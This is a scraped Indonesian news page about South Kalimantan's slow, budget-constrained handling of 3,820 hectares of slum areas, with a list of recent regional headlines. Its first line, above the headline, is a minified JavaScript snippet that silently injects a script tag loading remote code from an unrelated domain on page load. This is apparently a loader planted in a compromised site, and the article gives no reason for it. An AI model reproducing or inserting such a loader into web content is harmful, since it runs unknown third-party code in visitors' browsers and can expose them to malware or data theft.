(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Terkendala Dana APBD, Penanganan Kawasan Kumuh di Kalsel Berjalan Lambat


BANJARBARU, Penanganan kawasan kumuh dari dana APBD Provinsi di Kalsel dipastikan akan berjalan lambat. Pasalnya pemerintah provinsi hanya bisa menargetkan capaian penanganan kawasan kumuh sejak 2019 mendatang sebanyak satu hingga 1,5 hektare dalam setahun.

Sementara jumlah kawasan kumuh di Kalsel yang menjadi kewenangan provinsi Kalsel seluas 3.820 hektare tersebar di 13 kabupaten kota di Kalsel.

Jika target capaian penanganan kawasan kumuh dalam setahun terbatas hanya satu hingga 1,5 hektare maka perlu hingga tiga ribu tahun lebih hingga semua kawasan kumuh kewenangan provinsi selesai penanganan.

Kadisperkim Provinsi Kalimantan Selatan, Arifin Noor mengatakan memang pihaknya tak bisa menambah luasan penanganan kawasan kumuh di Kalsel karena keterbatasan dana. Namun penanganan satu hingga 1,5 hektare tersebut terangnya sudah maksimal dilakukan ditambah dengan dana untuk bedah rumah.

Kewenangan penanganan kawasan kumuh oleh Pemprov sendiri untuk kawasan kumuh dengan luasan 10 sampai 15 hektare. Sementara kawasan kumuh yang menjadi kewenangan kabupaten dibawah 10 hektare dan kewenangan penanganan kawasan kumuh oleh Kementerian PUPR dengan luasan diatas 15 hektare. “Saya rasa kalau Zero kumuh sangat sulit sekali karena dana APBD kita sangat terbatas,” ujarnya.

Oleh karena itu terangnya pihaknya akan berkoordinasi dengan Kementerian PUPR yang menangani kawasan kumuh dengan program Kotaku. Oleh karena itu terangnya pihaknya akan berkoordinasi agar penanganan kawasan kumuh di Kalsel baik oleh Pemprov, pemkab dan Kementerian melalui APBN bisa berjalan maksimal.

“Karena penanganan kawasan kumuh ini lebih banyak dananya dari APBN yang dilakukan melalui program Kotaku dan mulai tahun depan kita akan berkoordinasi agar target Kotaku bisa terlaksana 100 persen,” jelasnya.

Meski begitu ia mengaku optimis jika penanganan optimal akan bisa dilakukan jika ada koordinasi dengan pemerintah pusat, dan kabupaten kota. Seperti halnya dalam upaya peningkatan kualitas rumah yang kini juga dilakukan bersama oleh pemerintah pusat melalui Satker, pemkab dan pemko dan Pemprov.(rico)


Desy Arfianty

Recent Posts

Hadir Perdana di Banjarbaru, Generasi Happy Tri Ajak Gen Z Bikin Kreasi

KANALKALIMANTAN.COM, BANJARBARU - Generasi Happy Tri menyapa Generasi Z (Gen Z) di Banjarbaru dan Banjarmasin,… Read More

11 jam ago

Dari Banua Creative Festival, Kalsel Incar Tuan Rumah Ekrafnas 2025

KANALKALIMANTAN.COM, BANJARBARU - Acara bertajuk "Banua Creative Festival" inisiasi Gerakan Ekonomi Kreatif Kalimantan Selatan (Gekraf… Read More

12 jam ago

UMK Banjarmasin Naik Menjadi Rp3,59 Juta

KANALKALIMANTAN.COM, BANJARMASIN - Setelah Upah Minimun Provinsi (UMP) Kalimantan Selatan (Kalsel) tahun 2025 disepakati menjadi… Read More

12 jam ago

DKISP Banjar Raih Penghargaan Apresiasi Media Pemprov Kalsel 2024

KANALKALIMANTAN.COM, BANJARMASIN - Dinas Kominikasi Informatika Statistik dan Persandian (DKISP) Kabupaten Banjar meraih predikat Terbaik… Read More

19 jam ago

Polisi Ungkap Kasus Curanmor di Rusunawa Banjarmasin, 3 Orang Ditangkap

KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengungkap kasus pencurian sepeda motor dengan menangkap… Read More

20 jam ago

Keseruan Ragam Lomba Meriahkan HUT ke-25 DWP

KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More

1 hari ago

This website uses cookies.